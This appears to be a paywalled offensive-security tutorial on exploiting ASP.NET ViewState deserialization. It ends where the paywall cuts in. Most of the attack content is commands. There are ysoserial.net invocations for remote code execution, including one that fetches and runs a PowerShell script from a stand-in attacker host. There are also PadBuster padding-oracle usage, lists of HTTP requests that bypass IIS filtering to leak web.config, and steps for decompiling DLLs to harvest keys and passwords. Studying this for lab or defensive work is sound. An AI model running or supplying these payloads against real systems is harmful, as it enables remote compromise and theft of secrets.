Quick answer
ASP.NET ViewState is a serialized .NET blob sent on every postback. If the machineKey is exposed (via web.config disclosure, LFI, GitHub leak) or if enableViewStateMac=false (legacy apps), ViewState becomes RCE-as-a-service via ysoserial.net. Padding oracle attacks against encrypted ViewState are still alive in unpatched apps. The modern stack (ASP.NET Core) doesn't use ViewState but inherits deserialization issues in BinaryFormatter, Json.NET with TypeNameHandling and XML deserialization.
ASP.NET stack — quick fingerprinting
| Indicator | Means |
|---|---|
Cookie ASP.NET_SessionId | Classic ASP.NET stack (Framework) |
Cookie .AspNetCore.Session | ASP.NET Core |
Header X-Powered-By: ASP.NET | Either one |
Header X-AspNet-Version: 4.0.30319 | ASP.NET Framework 4.x |
HTML <input type="hidden" name="__VIEWSTATE"> | WebForms — direct ViewState vector |
HTML <input name="__EVENTVALIDATION"> | WebForms with event validation |
Extension .aspx, .ashx, .asmx, .axd | WebForms |
Extension .cshtml / no extension | MVC / Core |
URL (S(...)) or (A(...)) in the path | Cookieless sessions |
ViewState — anatomy and vectors
ViewState is a __VIEWSTATE blob (base64) that the server emits in WebForms forms. It contains the serialized state of controls. By default:
- It has a MAC (Message Authentication Code) signed with
validationKey. - Optionally encrypted with
decryptionKey. - The algorithm is defined in the
machineKeyconfig.
<machineKey
validationKey="ABC...DEF"
decryptionKey="123...456"
validation="SHA1"
decryption="AES" />
Vector 1 — enableViewStateMac="false" (legacy)
ASP.NET <4.5 allowed disabling MAC. If you find it (rare but present in very old apps):
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -c IEX(IWR -useb http://attacker.com/x.ps1)" \
--isdebug --islegacy
Generates a __VIEWSTATE that, when deserialized, runs the command. POST to the vulnerable endpoint → RCE.
Vector 2 — leaked machineKey
Much more common. The machineKey appears in web.config. If you have:
- LFI on an endpoint
?file=../web.config - Public backup files:
web.config.bak,web.config.old,web.config~ - Git history leak:
git show HEAD~5:web.config - Visual Studio publish artifacts:
Web.Release.config.bak - Decompiled DLL with a hardcoded
machineKey(DnSpy → reverse engineering)
<machineKey
validationKey="70D2B19FD2A1AAA3D9F60E0B7A8D1D2EBF4F8C..."
decryptionKey="4D69E83A9810B...0AB37FFDCD2BE"
validation="HMACSHA256"
decryption="AES" />
With those values, you sign a valid ViewState:
ysoserial.exe -p ViewState \
--path="/login.aspx" \
--apppath="/" \
-c "whoami" \
-g TypeConfuseDelegate \
--validationkey="70D2B19F..." \
--validationalg="HMACSHA256" \
--decryptionkey="4D69E83A..." \
--decryptionalg="AES"
Result: a __VIEWSTATE blob with a valid MAC. POST to the endpoint → deserialize → RCE.
Padding Oracle against encrypted ViewState
ASP.NET up to the MS10-070 patch (Oct 2010) was vulnerable to a padding oracle if:
- ViewState encrypted with AES-CBC.
- The server responded with a different error depending on valid/invalid padding.
Tool: Padding-Oracle-Attack (PadBuster). Workflow:
- Identify the encrypted blob in a cookie/ViewState.
- PadBuster sends variants byte-by-byte measuring the response differential.
- Reconstructs the plaintext byte-by-byte.
- To encrypt arbitrary content, use the same technique in reverse.
padbuster.pl https://target.com/page.aspx?d=COOKIE COOKIE 16 -encoding 3
Apps unpatched in 2026 are rare but exist in legacy government and enterprise SaaS. The patch changed the behavior so that a padding error and a MAC error generate the same response (200 + redirect to error page) — but custom implementations are still vulnerable.
Discovering machineKey via info disclosure
web.config leak
GET /web.config HTTP/1.1
GET /Web.config HTTP/1.1
GET /WEB.CONFIG HTTP/1.1
GET /web.config.bak HTTP/1.1
GET /web.config.old HTTP/1.1
GET /web.config~ HTTP/1.1
GET /Web.Release.config HTTP/1.1
IIS by default does NOT serve .config (request filtering blocks it). But bypasses:
GET /web.config%20 HTTP/1.1 # trailing space
GET /web.config.. HTTP/1.1 # doble dot
GET /web.config::$DATA HTTP/1.1 # NTFS alternative data stream
GET /web.config%00.txt HTTP/1.1 # null byte + permitted extension
GET /web.config;.jpg HTTP/1.1 # semicolon path parameter
GET /.%2e/web.config HTTP/1.1 # encoded traversal
elmah.axd / trace.axd
Accessible error logs:
/elmah.axd
/trace.axd
/Trace.axd
/Reports/Elmah.axd
/admin/elmah.axd
They may contain:
- Stack traces with absolute filesystem paths.
- Partially exposed connection strings.
- Session tokens, antiforgery tokens.
- In the worst case, the
machineKeyappears in stack traces when ASP.NET fails to validate a malformed ViewState.
DLL decompilation
The app loads custom DLLs from /bin/. If LFD allows downloading them:
GET /Download?file=../../bin/Company.Web.Api.dll
You run the DLL through DnSpy or JetBrains dotPeek → decompiled C# source. You look for machineKey, hardcoded passwords, connection strings, secret API keys.
# Línea de comandos
ilspycmd Company.Web.Api.dll -o ./decompiled
grep -r 'machineKey\|password\|secret' decompiled/
Keep reading the full chain
The remaining part includes the step-by-step PoC, exploitation code and the full chain that led to impact. Available to subscribers.
Practice this in a lab
Asp Net Viewstate
Keep learning · free account
Save your progress, unlock advanced payloads and rank your flags.